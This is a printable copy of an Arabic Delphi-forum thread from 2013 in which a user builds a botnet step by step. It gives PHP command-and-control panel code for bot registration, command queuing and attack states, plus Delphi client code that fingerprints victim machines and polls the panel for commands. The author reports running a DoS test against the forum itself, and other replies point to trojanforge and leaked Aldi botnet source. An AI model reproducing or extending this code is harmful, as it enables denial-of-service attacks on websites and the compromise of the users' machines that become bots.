delphi4arab منتديات دلفي للعرب
مشروع بوت نت عربي - نسخة قابلة للطباعة

+- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum)
+-- قسم : منتديات دلفي للعرب التعليمية (https://delphi4arab.net/forum/forumdisplay.php?fid=3)
+--- قسم : دروس دلفي للمبتدئين (https://delphi4arab.net/forum/forumdisplay.php?fid=13)
+--- الموضوع : مشروع بوت نت عربي (/showthread.php?tid=4959)

الصفحات: 1 2


مشروع بوت نت عربي - onexite - 01-03-2013

السلام عليكم
ساحاول في هذا الموضوع بناء بوت نت من الاول الى الاخير ( راح نتعلم معاكم Big Grin )
وساقوم بتطويره ان شاء الله
اولا سنبدا ب Html
هذا الشكل الاولي للموقع

[صورة: 20130301103131.png]
وقبل البدا هذه مواقع تحتوي على رسورس لمشروعنا Wink
مواقع مفيدة
PHP كود :
Partie 3 - Mise en page du site
http
://www.siteduzero.com/informatique/tutoriels/apprenez-a-creer-votre-site-web-avec-html5-et-css3 
(css)
PHP كود :
http://bootswatch.com/
http://twitter.github.com/bootstrap/ 
اما اكواد الدلفي وفكرة عن البوت وبرمجته
PHP كود :
http://trojanforge.com/showthread.php?tid=363 

المرفقات مجرد اكواد html وهو مجرد موقع ستاتيك
البقية ستكون في الردود والايام التالية اذا كنا من الحيين Rolleyes


مشروع بوت نت عربي - onexite - 01-03-2013

تم الانتهاء من برمجة html الان الانتقال الى لغة php كون صفحتنا ديناميكية
اذن لمعرفة اذا تم ارسال امر وذلك باستخدام الدلفي حيث الملون بالاصفر هو معرف فريد mac adrs او hdd سريال او ...
[صورة: 20130301160018.png]

PHP كود :
function get_command($id){
            
$select = mysql_query("select * from users where `idvar`= '".$id."'");
            
$row_users = mysql_fetch_assoc($select);        
            return  
$row_users['comnd'];
            }    
            
            
if(isset(
$_GET['cmnd']))
{
echo 
get_command($_GET['cmnd']);
} 

ولارسال امر
PHP كود :
if(isset($_POST['cmnd']))
{
$cmnd=$_POST['cmnd'].'|'.$_POST['prm'];
mysql_query("UPDATE `users` SET  `comnd`='$cmnd' WHERE idvar = '".$_POST['id']."'");
echo 
'update ok';
header("Location: index.php");
} 

[صورة: 20130301155938.png]

الاكواد في المرفقات


مشروع بوت نت عربي - onexite - 01-03-2013

الاضافات الجديدة
  • امكانية الحذف
  • اضافة مستخدم جديد Big Grin
  • طلب اوامر التنفيذ

[صورة: 20130301195629.png]

PHP كود :
function _insert()
{
$ip =$_SERVER["REMOTE_ADDR"];
if (isset(
$_GET["user"]) )$user=($_GET['user']);
if (isset(
$_GET["version"]) )$version  =($_GET['version']);
if (isset(
$_GET["hdd"]) )$hdd =($_GET['hdd']);
if (isset(
$_GET["win"]) )$win =($_GET['win']);
$date   =date("Y-m-d H:i:s"); 
if (isset(
$_GET["status"]) )$status=($_GET['status']);
else 
$status ='';
if (isset(
$_GET["password"]) )$password =($_GET['password']);
$result = mysql_query("SELECT id FROM `users` WHERE `idvar` = '$hdd'");
if (
mysql_num_rows($result) == 0) {
if (
mysql_query("INSERT INTO users (ip, user, idvar, plat, win, date,status) VALUES ('$ip','$user', '$hdd', '$version', '$win','$date','$status')")or die('Error'))
return 
'record added';
} else return 
'already exists';

}

if(isset(
$_GET['add']))
{
echo 
_insert();
} 
وفي الحالة المستخدم موجود
[صورة: 20130301195718.png]

ويمكن تعديل الكود اكثر
اذا كان المستخدم موجود اذن هل لديه امر ليطبقه

PHP كود :
else return 'already exists'; 

نعوضها

PHP كود :
} else return get_command($hdd); 

واذا قمنا باختيار امر

[صورة: 20130301200742.png]

اما بخصوص الحذف فهو وضع رقم العضو كبرامتر
PHP كود :
http://127.0.0.1/exemple_01/index.php?id=10 
والحذف يكون بسطر فقط

PHP كود :
if (isset($_GET['id'])){
mysql_query("DELETE FROM users WHERE id = '".$_GET['id']."'");
} 

ولمعلومات اكثر

PHP كود :
http://www.w3schools.com/php/php_mysql_insert.asp 



مشروع بوت نت عربي - onexite - 02-03-2013

تم اضافة جميع الخصائص
عدد الانلاين والافلاين
PHP كود :
function _online(){ return  mysql_result(mysql_query("select count(*) from users where status = 'Online' "),0);}
function 
_Offline(){ return  mysql_result(mysql_query("select count(*) from users where status = 'Offline' "),0);}
function 
_total(){ return  mysql_result(mysql_query("select count(*) from users"),0);} 
تحديث الحالة
PHP كود :
function updatstatus($stat,$hdd){mysql_query("UPDATE `users` SET  `status`='$stat' WHERE idvar = '$hdd'");} 

PHP كود :
} else
 { 
 if(
$status != 'Online')
 
updatstatus($status,$hdd);
 return 
get_command($hdd);

 
 } 

وعند اضافة مستخدم جديد ستكون حالته انتظار

PHP كود :
else if t1 = '0' then // Pause 
PHP كود :
if (mysql_query("INSERT INTO users (ip, user, idvar, plat, win, date,comnd,status) VALUES ('$ip','$user', '$hdd', '$version', '$win','$date','0','$status')")or die('Error')) 

تم اضافة كود دلفي وطريقة الاستغلال
عدلت على الكود الروسي لاني وجدته جيد وهو مجرد قرائة وارسال للاوامر http
وهذه تجربة dosattack

[صورة: 20130302131556.png]


مشروع بوت نت عربي - onexite - 02-03-2013

السلام عليكم
هذه الاضافات الجديدة
تحسين الشكل قليلا
اضافة اخر وقت للوصول
PHP كود :
function _intrval($row)
{
return 
strtotime(date("Y-m-d H:i:s"))-strtotime($row);
} 
ملاحظة يجب تغيير نوع date من date الى string في sql
تعديل واضافة خانة جديدة
PHP كود :
function inttocmnd($cmnd)
{
$data    =explode('|',$cmnd);
if (
count($data)==1) {return "";exit;} //ready
switch ($data[0]) {
       case -
1:
       return 
"Death";
        break;
        case 
0:
       return 
"Waiting";
        break;
        case 
1:
        return 
"Attack";
        break;
        }
}

function 
paramcmd($cmnd)
{
$data    =explode('|',$cmnd);
if (
count($data)==1) {return "";exit;} //ready
return $data[1]; 
} 

[صورة: 20130302172808.png]

تعديل طريقة العرض

PHP كود :
<?php 
   
if((!isset($_GET['tasks'])) and (!isset($_GET['addtsk'])) and (!isset($_GET['about'])))
  
_table(0,10); 
   if(isset(
$_GET['tasks']))
 
_tasks(0,10) ; 
 if(isset(
$_GET['addtsk']))                
 
options(); 
  if(isset(
$_GET['about']))                
echo 
'By Onexite <br> From Algeria'
 
 
?>
[صورة: 20130302172833.png]

واخير هذه الصفحة الرئيسية

PHP كود :
<ul>
                <
li><a href="index.php">Accueil</a></li>
                 <
li><a href="?tasks">Tasks</a></li>
                <
li><a href="?addtsk">Add task</a></li>
                <
li><a href="?about">About</a></li>
            </
ul> 

[صورة: 20130302172915.png]

الكود مرفق


مشروع بوت نت عربي - onexite - 03-03-2013

ألسلام عليكم
اهم الاضافات
المعلومات المرسلة اصبحت حقيقية وليست وهمية ( اسم المستخدم ونوع الويندوز والبلاتفورم 32/64 ..)
PHP كود :
function osver: string;
begin
  result 
:= 'Unknown (Windows ' + IntToStr(Win32MajorVersion) + '.' + IntToStr(Win32MinorVersion) + ')';
  case 
Win32MajorVersion of
    4
:
      case 
Win32MinorVersion of
        0
: result := 'Windows 95';
        
10: result := 'Windows 98';
        
90: result := 'Windows ME';
      
end;
    
5:
      case 
Win32MinorVersion of
        0
: result := 'Windows 2000';
        
1: result := 'Windows XP';
      
end;
    
6:
      case 
Win32MinorVersion of
        0
: result := 'Windows Vista';
        
1: result := 'Windows 7';
        
2: result := 'Windows 8';
      
end;
  
end;
end;


function 
IsWin64: Boolean;
type 
TIsWow64Process 
= function(AHandle:THandle; var AIsWow64: BOOL): BOOL; stdcall; 
var 
vKernel32Handle: DWORD; 
vIsWow64Process: TIsWow64Process; 
vIsWow64: BOOL; 
begin 
Result 
:= False;
vKernel32Handle := LoadLibrary('kernel32.dll'); 
if (
vKernel32Handle = 0) then Exit; 
try 
@
vIsWow64Process := GetProcAddress(vKernel32Handle, 'IsWow64Process'); 
if 
not Assigned(vIsWow64Process) then Exit; 
vIsWow64 := False; 
if (
vIsWow64Process(GetCurrentProcess, vIsWow64)) then 
Result 
:= vIsWow64; 
finally 
FreeLibrary(vKernel32Handle); 
end; 
end;

function 
CNName: string;
var
  
buffer: array[0..255] of char;
  
size: dword;
begin
  size 
:= 256;
  if 
GetComputerName(buffer, size) then
    Result 
:= buffer
  
else
    
Result := ''
end;

 function  
IsWindows64:string;
 
begin
   
if IsWin64() then Result:='64bits' else Result:='32bits'
 
end; 
PHP كود :
p := GetUrl(settingsurl+'?add&win='+osver+'&hdd='+hdd+'&user='+CNName+'&version='+IsWindows64+'&status=Online'); 

[صورة: 20130303095047.png]

تم تعديل شكل input

[صورة: 20130303094929.png]

وبخصوص عمل البرنامج فقد قمت بالهجوم على موضوعي Big Grin لذلك تجدون عدد المشاهدات كثير
هذا لا يؤثر على المنتدى لاكن تخييلوا ان عندي 500 مستخدم اخر ولهم سرعة جيدة سيحدث فرق كبير Wink


مشروع بوت نت عربي - onexite - 03-03-2013

[صورة: 20130303123041.png]

css
PHP كود :
input[type=password], 

PHP كود :
//------------------------------------Login && Logout //------------------------------------
if((isset($_POST['user'])) and (isset($_POST['psw'])))
{
if ((
$_POST['user'] == $user ) and ($_POST['psw'] == $pass )){
if(!isset(
$_SESSION)) session_start(); 
 
$_SESSION['pwd'] = md5($_POST['pwd']); 
 
header("Location: index.php");
}
else
header("Location: index.php?login");
}
//------------------------------------
function islogin()
{
if(!isset(
$_SESSION)) session_start(); 
if (!isset(
$_SESSION['pwd']))
header("Location: index.php?login");
//if ($_SESSION['pwd']!= md5($pass)) exit;
}
//------------------------------------
function _logout()
{
if(!isset(
$_SESSION)) 
session_start(); 
session_destroy();
}
//-------------------------------------------&& ----- //------------------------------------ 

PHP كود :
<li><a href="?logout">Logout</a></li> 

ألكود مرفق


مشروع بوت نت عربي - S.FATEH - 03-03-2013

اخ onexite ما اسم البرنامج في الصورة
[صورة: 20130302131556.png]


مشروع بوت نت عربي - onexite - 04-03-2013

بالنسبة للبرنامج المستخدم
PHP كود :
http://www.ieinspector.com/httpanalyzer/index.html 
[صورة: 20130304162001.png]

هذه محاولة لعدم تكرار تنفيذ نفس الامر اي امر واحد فقط

PHP كود :
var
  
Form1: TForm1;
  
oldcmd :string;
implementation

{$R *.dfm}

procedure TForm1.tmr1Timer(Sender: TObject);
var 
cmd,nmbr,parm:string;
begin
 cmd
:=IdHTTP1.Get('http://127.0.0.1/exemple_01/funcs.php?cmnd=123456');
 if 
not (cmd=oldcmd) then begin
 oldcmd
:=cmd;
 
nmbr:=Copy(cmd,0,1);
 
parm:=Copy(cmd,3,Length(cmd)-2);

 
mmo1.Lines.Add('Command: '+nmbr);
 
mmo1.Lines.Add('Parameter: '+parm);
 
mmo1.Lines.Add('---------------------------------------');
 
end;
end; 
ولتحديد المهمة مثلا
PHP كود :
if nmbr='0' then
  showmessage
(parm); 



مشروع بوت نت عربي - achi - 04-03-2013

السلام عليكم
شكرا على العمل الجبار
َAldi botnet بوت الما نية جيدة جيدا و السورس متوفر جيدة لمن اراد ان يتعلم
شكرا